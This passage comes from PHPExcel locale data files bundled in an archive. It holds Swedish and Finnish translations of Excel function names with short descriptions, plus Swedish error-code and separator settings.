Returnerar inversen till den lognormala fördelningen LOGNORMDIST = LOGNORMFÖRD ## Returnerar den kumulativa lognormala fördelningen MAX = MAX ## Returnerar det största värdet i en lista av argument MAXA = MAXA ## Returnerar det största värdet i en lista av argument, inklusive tal, text och logiska värden MEDIAN = MEDIAN ## Returnerar medianen för angivna tal MIN = MIN ## Returnerar det minsta värdet i en lista med argument MINA = MINA ## Returnerar det minsta värdet i en lista över argument, inklusive tal, text och logiska värden MODE = TYPVÄRDE ## Returnerar det vanligaste värdet i en datamängd NEGBINOMDIST = NEGBINOMFÖRD ## Returnerar den negativa binomialfördelningen NORMDIST = NORMFÖRD ## Returnerar den kumulativa normalfördelningen NORMINV = NORMINV ## Returnerar inversen till den kumulativa normalfördelningen NORMSDIST = NORMSFÖRD ## Returnerar den kumulativa standardnormalfördelningen NORMSINV = NORMSINV ## Returnerar inversen till den kumulativa standardnormalfördelningen PEARSON = PEARSON ## Returnerar korrelationskoefficienten till Pearsons momentprodukt PERCENTILE = PERCENTIL ## Returnerar den n:te percentilen av värden i ett område PERCENTRANK = PROCENTRANG ## Returnerar procentrangen för ett värde i en datamängd PERMUT = PERMUT ## Returnerar antal permutationer för ett givet antal objekt POISSON = POISSON ## Returnerar Poisson-fördelningen PROB = SANNOLIKHET ## Returnerar sannolikheten att värden i ett område ligger mellan två gränser QUARTILE = KVARTIL ## Returnerar kvartilen av en mängd data RANK = RANG ## Returnerar rangordningen för ett tal i en lista med tal RSQ = RKV ## Returnerar kvadraten av Pearsons produktmomentkorrelationskoefficient SKEW = SNEDHET ## Returnerar snedheten för en fördelning SLOPE = LUTNING ## Returnerar lutningen på en linjär regressionslinje SMALL = MINSTA ## Returnerar det n:te minsta värdet i en mängd data STANDARDIZE = STANDARDISERA ## Returnerar ett normaliserat värde STDEV = STDAV ## Uppskattar standardavvikelsen baserat på ett urval STDEVA = STDEVA ## Uppskattar standardavvikelsen baserat på ett urval, inklusive tal, text och logiska värden STDEVP = STDAVP ## Beräknar standardavvikelsen baserat på hela populationen STDEVPA = STDEVPA ## Beräknar standardavvikelsen baserat på hela populationen, inklusive tal, text och logiska värden STEYX = STDFELYX ## Returnerar standardfelet för ett förutspått y-värde för varje x-värde i regressionen TDIST = TFÖRD ## Returnerar Students t-fördelning TINV = TINV ## Returnerar inversen till Students t-fördelning TREND = TREND ## Returnerar värden längs en linjär trend TRIMMEAN = TRIMMEDEL ## Returnerar medelvärdet av mittpunkterna i en datamängd TTEST = TTEST ## Returnerar sannolikheten beräknad ur Students t-test VAR = VARIANS ## Uppskattar variansen baserat på ett urval VARA = VARA ## Uppskattar variansen baserat på ett urval, inklusive tal, text och logiska värden VARP = VARIANSP ## Beräknar variansen baserat på hela populationen VARPA = VARPA ## Beräknar variansen baserat på hela populationen, inklusive tal, text och logiska värden WEIBULL = WEIBULL ## Returnerar Weibull-fördelningen ZTEST = ZTEST ## Returnerar det ensidiga sannolikhetsvärdet av ett z-test ## ## Text functions Textfunktioner ## ASC = ASC ## Ändrar helbredds (dubbel byte) engelska bokstäver eller katakana inom en teckensträng till tecken med halvt breddsteg (enkel byte) BAHTTEXT = BAHTTEXT ## Omvandlar ett tal till text med valutaformatet ß (baht) CHAR = TECKENKOD ## Returnerar tecknet som anges av kod CLEAN = STÄDA ## Tar bort alla icke utskrivbara tecken i en text CODE = KOD ## Returnerar en numerisk kod för det första tecknet i en textsträng CONCATENATE = SAMMANFOGA ## Sammanfogar flera textdelar till en textsträng DOLLAR = VALUTA ## Omvandlar ett tal till text med valutaformat EXACT = EXAKT ## Kontrollerar om två textvärden är identiska FIND = HITTA ## Hittar en text i en annan (skiljer på gemener och versaler) FINDB = HITTAB ## Hittar en text i en annan (skiljer på gemener och versaler) FIXED = FASTTAL ## Formaterar ett tal som text med ett fast antal decimaler JIS = JIS ## Ändrar halvbredds (enkel byte) engelska bokstäver eller katakana inom en teckensträng till tecken med helt breddsteg (dubbel byte) LEFT = VÄNSTER ## Returnerar tecken längst till vänster i en sträng LEFTB = VÄNSTERB ## Returnerar tecken längst till vänster i en sträng LEN = LÄNGD ## Returnerar antalet tecken i en textsträng LENB = LÄNGDB ## Returnerar antalet tecken i en textsträng LOWER = GEMENER ## Omvandlar text till gemener MID = EXTEXT ## Returnerar angivet antal tecken från en text med början vid den position som du anger MIDB = EXTEXTB ## Returnerar angivet antal tecken från en text med början vid den position som du anger PHONETIC = PHONETIC ## Returnerar de fonetiska (furigana) tecknen i en textsträng PROPER = INITIAL ## Ändrar första bokstaven i varje ord i ett textvärde till versal REPLACE = ERSÄTT ## Ersätter tecken i text REPLACEB = ERSÄTTB ## Ersätter tecken i text REPT = REP ## Upprepar en text ett bestämt antal gånger RIGHT = HÖGER ## Returnerar tecken längst till höger i en sträng RIGHTB = HÖGERB ## Returnerar tecken längst till höger i en sträng SEARCH = SÖK ## Hittar ett textvärde i ett annat (skiljer inte på gemener och versaler) SEARCHB = SÖKB ## Hittar ett textvärde i ett annat (skiljer inte på gemener och versaler) SUBSTITUTE = BYT.UT ## Ersätter gammal text med ny text i en textsträng T = T ## Omvandlar argumenten till text TEXT = TEXT ## Formaterar ett tal och omvandlar det till text TRIM = RENSA ## Tar bort blanksteg från text UPPER = VERSALER ## Omvandlar text till versaler VALUE = TEXTNUM ## Omvandlar ett textargument till ett tal PHPExcel/locale/sv/config 0000644 00000002506 14642534110 0011236 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = kr ## ## Excel Error Codes (For future use) ## NULL = #Skärning! DIV0 = #Division/0! VALUE = #Värdefel! REF = #Referens! NAME = #Namn? NUM = #Ogiltigt! NA = #Saknas! PHPExcel/locale/fi/functions 0000644 00000077665 14642534110 0011771 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Calculation ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## Data in this file derived from http://www.piuha.fi/excel-function-name-translation/ ## ## ## ## Add-in and Automation functions Apuohjelma- ja automaatiofunktiot ## GETPIVOTDATA = NOUDA.PIVOT.TIEDOT ## Palauttaa pivot-taulukkoraporttiin tallennettuja tietoja. ## ## Cube functions Kuutiofunktiot ## CUBEKPIMEMBER = KUUTIOKPIJÄSEN ## Palauttaa suorituskykyilmaisimen (KPI) nimen, ominaisuuden sekä mitan ja näyttää nimen sekä ominaisuuden solussa. KPI on mitattavissa oleva suure, kuten kuukauden bruttotuotto tai vuosineljänneksen työntekijäkohtainen liikevaihto, joiden avulla tarkkaillaan organisaation suorituskykyä. CUBEMEMBER = KUUTIONJÄSEN ## Palauttaa kuutiohierarkian jäsenen tai monikon. Tällä funktiolla voit tarkistaa, että jäsen tai monikko on olemassa kuutiossa. CUBEMEMBERPROPERTY = KUUTIONJÄSENENOMINAISUUS ## Palauttaa kuution jäsenominaisuuden arvon. Tällä funktiolla voit tarkistaa, että nimi on olemassa kuutiossa, ja palauttaa tämän jäsenen määritetyn ominaisuuden. CUBERANKEDMEMBER = KUUTIONLUOKITELTUJÄSEN ## Palauttaa joukon n:nnen jäsenen. Tällä funktiolla voit palauttaa joukosta elementtejä, kuten parhaan myyjän tai 10 parasta opiskelijaa. CUBESET = KUUTIOJOUKKO ## Määrittää lasketun jäsen- tai monikkojoukon lähettämällä joukon lausekkeita palvelimessa olevalle kuutiolle. Palvelin luo joukon ja palauttaa sen Microsoft Office Excelille. CUBESETCOUNT = KUUTIOJOUKKOJENMÄÄRÄ ## Palauttaa joukon kohteiden määrän. CUBEVALUE = KUUTIONARVO ## Palauttaa koostetun arvon kuutiosta. ## ## Database functions Tietokantafunktiot ## DAVERAGE = TKESKIARVO ## Palauttaa valittujen tietokantamerkintöjen keskiarvon. DCOUNT = TLASKE ## Laskee tietokannan lukuja sisältävien solujen määrän. DCOUNTA = TLASKEA ## Laskee tietokannan tietoja sisältävien solujen määrän. DGET = TNOUDA ## Hakee määritettyjä ehtoja vastaavan tietueen tietokannasta. DMAX = TMAKS ## Palauttaa suurimman arvon tietokannasta valittujen arvojen joukosta. DMIN = TMIN ## Palauttaa pienimmän arvon tietokannasta valittujen arvojen joukosta. DPRODUCT = TTULO ## Kertoo määritetyn ehdon täyttävien tietokannan tietueiden tietyssä kentässä olevat arvot. DSTDEV = TKESKIHAJONTA ## Laskee keskihajonnan tietokannasta valituista arvoista muodostuvan otoksen perusteella. DSTDEVP = TKESKIHAJONTAP ## Laskee keskihajonnan tietokannasta valittujen arvojen koko populaation perusteella. DSUM = TSUMMA ## Lisää luvut määritetyn ehdon täyttävien tietokannan tietueiden kenttäsarakkeeseen. DVAR = TVARIANSSI ## Laskee varianssin tietokannasta valittujen arvojen otoksen perusteella. DVARP = TVARIANSSIP ## Laskee varianssin tietokannasta valittujen arvojen koko populaation perusteella. ## ## Date and time functions Päivämäärä- ja aikafunktiot ## DATE = PÄIVÄYS ## Palauttaa annetun päivämäärän järjestysluvun. DATEVALUE = PÄIVÄYSARVO ## Muuntaa tekstimuodossa olevan päivämäärän järjestysluvuksi. DAY = PÄIVÄ ## Muuntaa järjestysluvun kuukauden päiväksi. DAYS360 = PÄIVÄT360 ## Laskee kahden päivämäärän välisten päivien määrän käyttäen perustana 360-päiväistä vuotta. EDATE = PÄIVÄ.KUUKAUSI ## Palauttaa järjestyslukuna päivämäärän, joka poikkeaa aloituspäivän päivämäärästä annetun kuukausimäärän verran joko eteen- tai taaksepäin. EOMONTH = KUUKAUSI.LOPPU ## Palauttaa järjestyslukuna sen kuukauden viimeisen päivämäärän, joka poikkeaa annetun kuukausimäärän verran eteen- tai taaksepäin. HOUR = TUNNIT ## Muuntaa järjestysluvun tunneiksi. MINUTE = MINUUTIT ## Muuntaa järjestysluvun minuuteiksi. MONTH = KUUKAUSI ## Muuntaa järjestysluvun kuukausiksi. NETWORKDAYS = TYÖPÄIVÄT ## Palauttaa kahden päivämäärän välissä olevien täysien työpäivien määrän. NOW = NYT ## Palauttaa kuluvan päivämäärän ja ajan järjestysnumeron. SECOND = SEKUNNIT ## Muuntaa järjestysluvun sekunneiksi. TIME = AIKA ## Palauttaa annetun kellonajan järjestysluvun. TIMEVALUE = AIKA_ARVO ## Muuntaa tekstimuodossa olevan kellonajan järjestysluvuksi. TODAY = TÄMÄ.PÄIVÄ ## Palauttaa kuluvan päivän päivämäärän järjestysluvun. WEEKDAY = VIIKONPÄIVÄ ## Muuntaa järjestysluvun viikonpäiväksi. WEEKNUM = VIIKKO.NRO ## Muuntaa järjestysluvun luvuksi, joka ilmaisee viikon järjestysluvun vuoden alusta laskettuna. WORKDAY = TYÖPÄIVÄ ## Palauttaa järjestysluvun päivämäärälle, joka sijaitsee annettujen työpäivien verran eteen tai taaksepäin. YEAR = VUOSI ## Muuntaa järjestysluvun vuosiksi. YEARFRAC = VUOSI.OSA ## Palauttaa määritettyjen päivämäärien (aloituspäivä ja lopetuspäivä) välisen osan vuodesta. ## ## Engineering functions Tekniset funktiot ## BESSELI = BESSELI ## Palauttaa muunnetun Bessel-funktion In(x). BESSELJ = BESSELJ ## Palauttaa Bessel-funktion Jn(x). BESSELK = BESSELK ## Palauttaa muunnetun Bessel-funktion Kn(x). BESSELY = BESSELY ## Palauttaa Bessel-funktion Yn(x). BIN2DEC = BINDES ## Muuntaa binaariluvun desimaaliluvuksi. BIN2HEX = BINHEKSA ## Muuntaa binaariluvun heksadesimaaliluvuksi. BIN2OCT = BINOKT ## Muuntaa binaariluvun oktaaliluvuksi. COMPLEX = KOMPLEKSI ## Muuntaa reaali- ja imaginaariosien kertoimet kompleksiluvuksi. CONVERT = MUUNNA ## Muuntaa luvun toisen mittajärjestelmän mukaiseksi. DEC2BIN = DESBIN ## Muuntaa desimaaliluvun binaariluvuksi. DEC2HEX = DESHEKSA ## Muuntaa kymmenjärjestelmän luvun heksadesimaaliluvuksi. DEC2OCT = DESOKT ## Muuntaa kymmenjärjestelmän luvun oktaaliluvuksi. DELTA = SAMA.ARVO ## Tarkistaa, ovatko kaksi arvoa yhtä suuria. ERF = VIRHEFUNKTIO ## Palauttaa virhefunktion. ERFC = VIRHEFUNKTIO.KOMPLEMENTTI ## Palauttaa komplementtivirhefunktion. GESTEP = RAJA ## Testaa, onko luku suurempi kuin kynnysarvo. HEX2BIN = HEKSABIN ## Muuntaa heksadesimaaliluvun binaariluvuksi. HEX2DEC = HEKSADES ## Muuntaa heksadesimaaliluvun desimaaliluvuksi. HEX2OCT = HEKSAOKT ## Muuntaa heksadesimaaliluvun oktaaliluvuksi. IMABS = KOMPLEKSI.ITSEISARVO ## Palauttaa kompleksiluvun itseisarvon (moduluksen). IMAGINARY = KOMPLEKSI.IMAG ## Palauttaa kompleksiluvun imaginaariosan kertoimen. IMARGUMENT = KOMPLEKSI.ARG ## Palauttaa theeta-argumentin, joka on radiaaneina annettu kulma. IMCONJUGATE = KOMPLEKSI.KONJ ## Palauttaa kompleksiluvun konjugaattiluvun. IMCOS = KOMPLEKSI.COS ## Palauttaa kompleksiluvun kosinin. IMDIV = KOMPLEKSI.OSAM ## Palauttaa kahden kompleksiluvun osamäärän. IMEXP = KOMPLEKSI.EKSP ## Palauttaa kompleksiluvun eksponentin. IMLN = KOMPLEKSI.LN ## Palauttaa kompleksiluvun luonnollisen logaritmin. IMLOG10 = KOMPLEKSI.LOG10 ## Palauttaa kompleksiluvun kymmenkantaisen logaritmin. IMLOG2 = KOMPLEKSI.LOG2 ## Palauttaa kompleksiluvun kaksikantaisen logaritmin. IMPOWER = KOMPLEKSI.POT ## Palauttaa kokonaislukupotenssiin korotetun kompleksiluvun. IMPRODUCT = KOMPLEKSI.TULO ## Palauttaa kompleksilukujen tulon. IMREAL = KOMPLEKSI.REAALI ## Palauttaa kompleksiluvun reaaliosan kertoimen. IMSIN = KOMPLEKSI.SIN ## Palauttaa kompleksiluvun sinin. IMSQRT = KOMPLEKSI.NELIÖJ ## Palauttaa kompleksiluvun neliöjuuren. IMSUB = KOMPLEKSI.EROTUS ## Palauttaa kahden kompleksiluvun erotuksen. IMSUM = KOMPLEKSI.SUM ## Palauttaa kompleksilukujen summan. OCT2BIN = OKTBIN ## Muuntaa oktaaliluvun binaariluvuksi. OCT2DEC = OKTDES ## Muuntaa oktaaliluvun desimaaliluvuksi. OCT2HEX = OKTHEKSA ## Muuntaa oktaaliluvun heksadesimaaliluvuksi. ## ## Financial functions Rahoitusfunktiot ## ACCRINT = KERTYNYT.KORKO ## Laskee arvopaperille kertyneen koron, kun korko kertyy säännöllisin väliajoin. ACCRINTM = KERTYNYT.KORKO.LOPUSSA ## Laskee arvopaperille kertyneen koron, kun korko maksetaan eräpäivänä. AMORDEGRC = AMORDEGRC ## Laskee kunkin laskentakauden poiston poistokerrointa käyttämällä. AMORLINC = AMORLINC ## Palauttaa kunkin laskentakauden poiston. COUPDAYBS = KORKOPÄIVÄT.ALUSTA ## Palauttaa koronmaksukauden aloituspäivän ja tilityspäivän välisen ajanjakson päivien määrän. COUPDAYS = KORKOPÄIVÄT ## Palauttaa päivien määrän koronmaksukaudelta, johon tilityspäivä kuuluu. COUPDAYSNC = KORKOPÄIVÄT.SEURAAVA ## Palauttaa tilityspäivän ja seuraavan koronmaksupäivän välisen ajanjakson päivien määrän. COUPNCD = KORKOMAKSU.SEURAAVA ## Palauttaa tilityspäivän jälkeisen seuraavan koronmaksupäivän. COUPNUM = KORKOPÄIVÄJAKSOT ## Palauttaa arvopaperin ostopäivän ja erääntymispäivän välisten koronmaksupäivien määrän. COUPPCD = KORKOPÄIVÄ.EDELLINEN ## Palauttaa tilityspäivää edeltävän koronmaksupäivän. CUMIPMT = MAKSETTU.KORKO ## Palauttaa kahden jakson välisenä aikana kertyneen koron. CUMPRINC = MAKSETTU.LYHENNYS ## Palauttaa lainalle kahden jakson välisenä aikana kertyneen lyhennyksen. DB = DB ## Palauttaa kauden kirjanpidollisen poiston amerikkalaisen DB-menetelmän (Fixed-declining balance) mukaan. DDB = DDB ## Palauttaa kauden kirjanpidollisen poiston amerikkalaisen DDB-menetelmän (Double-Declining Balance) tai jonkin muun määrittämäsi menetelmän mukaan. DISC = DISKONTTOKORKO ## Palauttaa arvopaperin diskonttokoron. DOLLARDE = VALUUTTA.DES ## Muuntaa murtolukuna ilmoitetun valuuttamäärän desimaaliluvuksi. DOLLARFR = VALUUTTA.MURTO ## Muuntaa desimaalilukuna ilmaistun valuuttamäärän murtoluvuksi. DURATION = KESTO ## Palauttaa keston arvopaperille, jonka koronmaksu tapahtuu säännöllisesti. EFFECT = KORKO.EFEKT ## Palauttaa todellisen vuosikoron. FV = TULEVA.ARVO ## Palauttaa sijoituksen tulevan arvon. FVSCHEDULE = TULEVA.ARVO.ERIKORKO ## Palauttaa pääoman tulevan arvon, kun pääomalle on kertynyt korkoa vaihtelevasti. INTRATE = KORKO.ARVOPAPERI ## Palauttaa arvopaperin korkokannan täysin sijoitetulle arvopaperille. IPMT = IPMT ## Laskee sijoitukselle tai lainalle tiettynä ajanjaksona kertyvän koron. IRR = SISÄINEN.KORKO ## Laskee sisäisen korkokannan kassavirrasta muodostuvalle sarjalle. ISPMT = ONMAKSU ## Laskee sijoituksen maksetun koron tietyllä jaksolla. MDURATION = KESTO.MUUNN ## Palauttaa muunnetun Macauley-keston arvopaperille, jonka oletettu nimellisarvo on 100 euroa. MIRR = MSISÄINEN ## Palauttaa sisäisen korkokannan, kun positiivisten ja negatiivisten kassavirtojen rahoituskorko on erilainen. NOMINAL = KORKO.VUOSI ## Palauttaa vuosittaisen nimelliskoron. NPER = NJAKSO ## Palauttaa sijoituksen jaksojen määrän. NPV = NNA ## Palauttaa sijoituksen nykyarvon toistuvista kassavirroista muodostuvan sarjan ja diskonttokoron perusteella. ODDFPRICE = PARITON.ENS.NIMELLISARVO ## Palauttaa arvopaperin hinnan tilanteessa, jossa ensimmäinen jakso on pariton. ODDFYIELD = PARITON.ENS.TUOTTO ## Palauttaa arvopaperin tuoton tilanteessa, jossa ensimmäinen jakso on pariton. ODDLPRICE = PARITON.VIIM.NIMELLISARVO ## Palauttaa arvopaperin hinnan tilanteessa, jossa viimeinen jakso on pariton. ODDLYIELD = PARITON.VIIM.TUOTTO ## Palauttaa arvopaperin tuoton tilanteessa, jossa viimeinen jakso on pariton. PMT = MAKSU ## Palauttaa annuiteetin kausittaisen maksuerän. PPMT = PPMT ## Laskee sijoitukselle tai lainalle tiettynä ajanjaksona maksettavan lyhennyksen. PRICE = HINTA ## Palauttaa hinnan 100 euron nimellisarvoa kohden arvopaperille, jonka korko maksetaan säännöllisin väliajoin. PRICEDISC = HINTA.DISK ## Palauttaa diskontatun arvopaperin hinnan 100 euron nimellisarvoa kohden. PRICEMAT = HINTA.LUNASTUS ## Palauttaa hinnan 100 euron nimellisarvoa kohden arvopaperille, jonka korko maksetaan erääntymispäivänä. PV = NA ## Palauttaa sijoituksen nykyarvon. RATE = KORKO ## Palauttaa annuiteetin kausittaisen korkokannan. RECEIVED = SAATU.HINTA ## Palauttaa arvopaperin tuoton erääntymispäivänä kokonaan maksetulle sijoitukselle. SLN = STP ## Palauttaa sijoituksen tasapoiston yhdeltä jaksolta. SYD = VUOSIPOISTO ## Palauttaa sijoituksen vuosipoiston annettuna kautena amerikkalaisen SYD-menetelmän (Sum-of-Year's Digits) avulla. TBILLEQ = OBLIG.TUOTTOPROS ## Palauttaa valtion obligaation tuoton vastaavana joukkovelkakirjan tuottona. TBILLPRICE = OBLIG.HINTA ## Palauttaa obligaation hinnan 100 euron nimellisarvoa kohden. TBILLYIELD = OBLIG.TUOTTO ## Palauttaa obligaation tuoton. VDB = VDB ## Palauttaa annetun kauden tai kauden osan kirjanpidollisen poiston amerikkalaisen DB-menetelmän (Fixed-declining balance) mukaan. XIRR = SISÄINEN.KORKO.JAKSOTON ## Palauttaa sisäisen korkokannan kassavirtojen sarjoille, jotka eivät välttämättä ole säännöllisiä. XNPV = NNA.JAKSOTON ## Palauttaa nettonykyarvon kassavirtasarjalle, joka ei välttämättä ole kausittainen. YIELD = TUOTTO ## Palauttaa tuoton arvopaperille, jonka korko maksetaan säännöllisin väliajoin. YIELDDISC = TUOTTO.DISK ## Palauttaa diskontatun arvopaperin, kuten obligaation, vuosittaisen tuoton. YIELDMAT = TUOTTO.ERÄP ## Palauttaa erääntymispäivänään korkoa tuottavan arvopaperin vuosittaisen tuoton. ## ## Information functions Erikoisfunktiot ## CELL = SOLU ## Palauttaa tietoja solun muotoilusta, sijainnista ja sisällöstä. ERROR.TYPE = VIRHEEN.LAJI ## Palauttaa virhetyyppiä vastaavan luvun. INFO = KUVAUS ## Palauttaa tietoja nykyisestä käyttöympäristöstä. ISBLANK = ONTYHJÄ ## Palauttaa arvon TOSI, jos arvo on tyhjä. ISERR = ONVIRH ## Palauttaa arvon TOSI, jos arvo on mikä tahansa virhearvo paitsi arvo #PUUTTUU!. ISERROR = ONVIRHE ## Palauttaa arvon TOSI, jos arvo on mikä tahansa virhearvo. ISEVEN = ONPARILLINEN ## Palauttaa arvon TOSI, jos arvo on parillinen. ISLOGICAL = ONTOTUUS ## Palauttaa arvon TOSI, jos arvo on mikä tahansa looginen arvo. ISNA = ONPUUTTUU ## Palauttaa arvon TOSI, jos virhearvo on #PUUTTUU!. ISNONTEXT = ONEI_TEKSTI ## Palauttaa arvon TOSI, jos arvo ei ole teksti. ISNUMBER = ONLUKU ## Palauttaa arvon TOSI, jos arvo on luku. ISODD = ONPARITON ## Palauttaa arvon TOSI, jos arvo on pariton. ISREF = ONVIITT ## Palauttaa arvon TOSI, jos arvo on viittaus. ISTEXT = ONTEKSTI ## Palauttaa arvon TOSI, jos arvo on teksti. N = N ## Palauttaa arvon luvuksi muunnettuna. NA = PUUTTUU ## Palauttaa virhearvon #PUUTTUU!. TYPE = TYYPPI ## Palauttaa luvun, joka ilmaisee arvon tietotyypin. ## ## Logical functions Loogiset funktiot ## AND = JA ## Palauttaa arvon TOSI, jos kaikkien argumenttien arvo on TOSI. FALSE = EPÄTOSI ## Palauttaa totuusarvon EPÄTOSI. IF = JOS ## Määrittää suoritettavan loogisen testin. IFERROR = JOSVIRHE ## Palauttaa määrittämäsi arvon, jos kaavan tulos on virhe; muussa tapauksessa palauttaa kaavan tuloksen. NOT = EI ## Kääntää argumentin loogisen arvon. OR = TAI ## Palauttaa arvon TOSI, jos minkä tahansa argumentin arvo on TOSI. TRUE = TOSI ## Palauttaa totuusarvon TOSI. ## ## Lookup and reference functions Haku- ja viitefunktiot ## ADDRESS = OSOITE ## Palauttaa laskentataulukon soluun osoittavan viittauksen tekstinä. AREAS = ALUEET ## Palauttaa viittauksessa olevien alueiden määrän. CHOOSE = VALITSE.INDEKSI ## Valitsee arvon arvoluettelosta. COLUMN = SARAKE ## Palauttaa viittauksen sarakenumeron. COLUMNS = SARAKKEET ## Palauttaa viittauksessa olevien sarakkeiden määrän. HLOOKUP = VHAKU ## Suorittaa haun matriisin ylimmältä riviltä ja palauttaa määritetyn solun arvon. HYPERLINK = HYPERLINKKI ## Luo pikakuvakkeen tai tekstin, joka avaa verkkopalvelimeen, intranetiin tai Internetiin tallennetun tiedoston. INDEX = INDEKSI ## Valitsee arvon viittauksesta tai matriisista indeksin mukaan. INDIRECT = EPÄSUORA ## Palauttaa tekstiarvona ilmaistun viittauksen. LOOKUP = HAKU ## Etsii arvoja vektorista tai matriisista. MATCH = VASTINE ## Etsii arvoja viittauksesta tai matriisista. OFFSET = SIIRTYMÄ ## Palauttaa annetun viittauksen siirtymän. ROW = RIVI ## Palauttaa viittauksen rivinumeron. ROWS = RIVIT ## Palauttaa viittauksessa olevien rivien määrän. RTD = RTD ## Noutaa COM-automaatiota (automaatio: Tapa käsitellä sovelluksen objekteja toisesta sovelluksesta tai kehitystyökalusta. Automaatio, jota aiemmin kutsuttiin OLE-automaatioksi, on teollisuusstandardi ja COM-mallin (Component Object Model) ominaisuus.) tukevasta ohjelmasta reaaliaikaisia tietoja. TRANSPOSE = TRANSPONOI ## Palauttaa matriisin käänteismatriisin. VLOOKUP = PHAKU ## Suorittaa haun matriisin ensimmäisestä sarakkeesta ja palauttaa rivillä olevan solun arvon. ## ## Math and trigonometry functions Matemaattiset ja trigonometriset funktiot ## ABS = ITSEISARVO ## Palauttaa luvun itseisarvon. ACOS = ACOS ## Palauttaa luvun arkuskosinin. ACOSH = ACOSH ## Palauttaa luvun käänteisen hyperbolisen kosinin. ASIN = ASIN ## Palauttaa luvun arkussinin. ASINH = ASINH ## Palauttaa luvun käänteisen hyperbolisen sinin. ATAN = ATAN ## Palauttaa luvun arkustangentin. ATAN2 = ATAN2 ## Palauttaa arkustangentin x- ja y-koordinaatin perusteella. ATANH = ATANH ## Palauttaa luvun käänteisen hyperbolisen tangentin. CEILING = PYÖRISTÄ.KERR.YLÖS ## Pyöristää luvun lähimpään kokonaislukuun tai tarkkuusargumentin lähimpään kerrannaiseen. COMBIN = KOMBINAATIO ## Palauttaa mahdollisten kombinaatioiden määrän annetulle objektien määrälle. COS = COS ## Palauttaa luvun kosinin. COSH = COSH ## Palauttaa luvun hyperbolisen kosinin. DEGREES = ASTEET ## Muuntaa radiaanit asteiksi. EVEN = PARILLINEN ## Pyöristää luvun ylöspäin lähimpään parilliseen kokonaislukuun. EXP = EKSPONENTTI ## Palauttaa e:n korotettuna annetun luvun osoittamaan potenssiin. FACT = KERTOMA ## Palauttaa luvun kertoman. FACTDOUBLE = KERTOMA.OSA ## Palauttaa luvun osakertoman. FLOOR = PYÖRISTÄ.KERR.ALAS ## Pyöristää luvun alaspäin (nollaa kohti). GCD = SUURIN.YHT.TEKIJÄ ## Palauttaa suurimman yhteisen tekijän. INT = KOKONAISLUKU ## Pyöristää luvun alaspäin lähimpään kokonaislukuun. LCM = PIENIN.YHT.JAETTAVA ## Palauttaa pienimmän yhteisen tekijän. LN = LUONNLOG ## Palauttaa luvun luonnollisen logaritmin. LOG = LOG ## Laskee luvun logaritmin käyttämällä annettua kantalukua. LOG10 = LOG10 ## Palauttaa luvun kymmenkantaisen logaritmin. MDETERM = MDETERM ## Palauttaa matriisin matriisideterminantin. MINVERSE = MKÄÄNTEINEN ## Palauttaa matriisin käänteismatriisin. MMULT = MKERRO ## Palauttaa kahden matriisin tulon. MOD = JAKOJ ## Palauttaa jakolaskun jäännöksen. MROUND = PYÖRISTÄ.KERR ## Palauttaa luvun pyöristettynä annetun luvun kerrannaiseen. MULTINOMIAL = MULTINOMI ## Palauttaa lukujoukon multinomin. ODD = PARITON ## Pyöristää luvun ylöspäin lähimpään parittomaan kokonaislukuun. PI = PII ## Palauttaa piin arvon. POWER = POTENSSI ## Palauttaa luvun korotettuna haluttuun potenssiin. PRODUCT = TULO ## Kertoo annetut argumentit. QUOTIENT = OSAMÄÄRÄ ## Palauttaa osamäärän kokonaislukuosan. RADIANS = RADIAANIT ## Muuntaa asteet radiaaneiksi. RAND = SATUNNAISLUKU ## Palauttaa satunnaisluvun väliltä 0–1. RANDBETWEEN = SATUNNAISLUKU.VÄLILTÄ ## Palauttaa satunnaisluvun määritettyjen lukujen väliltä. ROMAN = ROMAN ## Muuntaa arabialaisen numeron tekstimuotoiseksi roomalaiseksi numeroksi. ROUND = PYÖRISTÄ ## Pyöristää luvun annettuun määrään desimaaleja. ROUNDDOWN = PYÖRISTÄ.DES.ALAS ## Pyöristää luvun alaspäin (nollaa kohti). ROUNDUP = PYÖRISTÄ.DES.YLÖS ## Pyöristää luvun ylöspäin (poispäin nollasta). SERIESSUM = SARJA.SUMMA ## Palauttaa kaavaan perustuvan potenssisarjan arvon. SIGN = ETUMERKKI ## Palauttaa luvun etumerkin. SIN = SIN ## Palauttaa annetun kulman sinin. SINH = SINH ## Palauttaa luvun hyperbolisen sinin. SQRT = NELIÖJUURI ## Palauttaa positiivisen neliöjuuren. SQRTPI = NELIÖJUURI.PII ## Palauttaa tulon (luku * pii) neliöjuuren. SUBTOTAL = VÄLISUMMA ## Palauttaa luettelon tai tietokannan välisumman. SUM = SUMMA ## Laskee yhteen annetut argumentit. SUMIF = SUMMA.JOS ## Laskee ehdot täyttävien solujen summan. SUMIFS = SUMMA.JOS.JOUKKO ## Laskee yhteen solualueen useita ehtoja vastaavat solut. 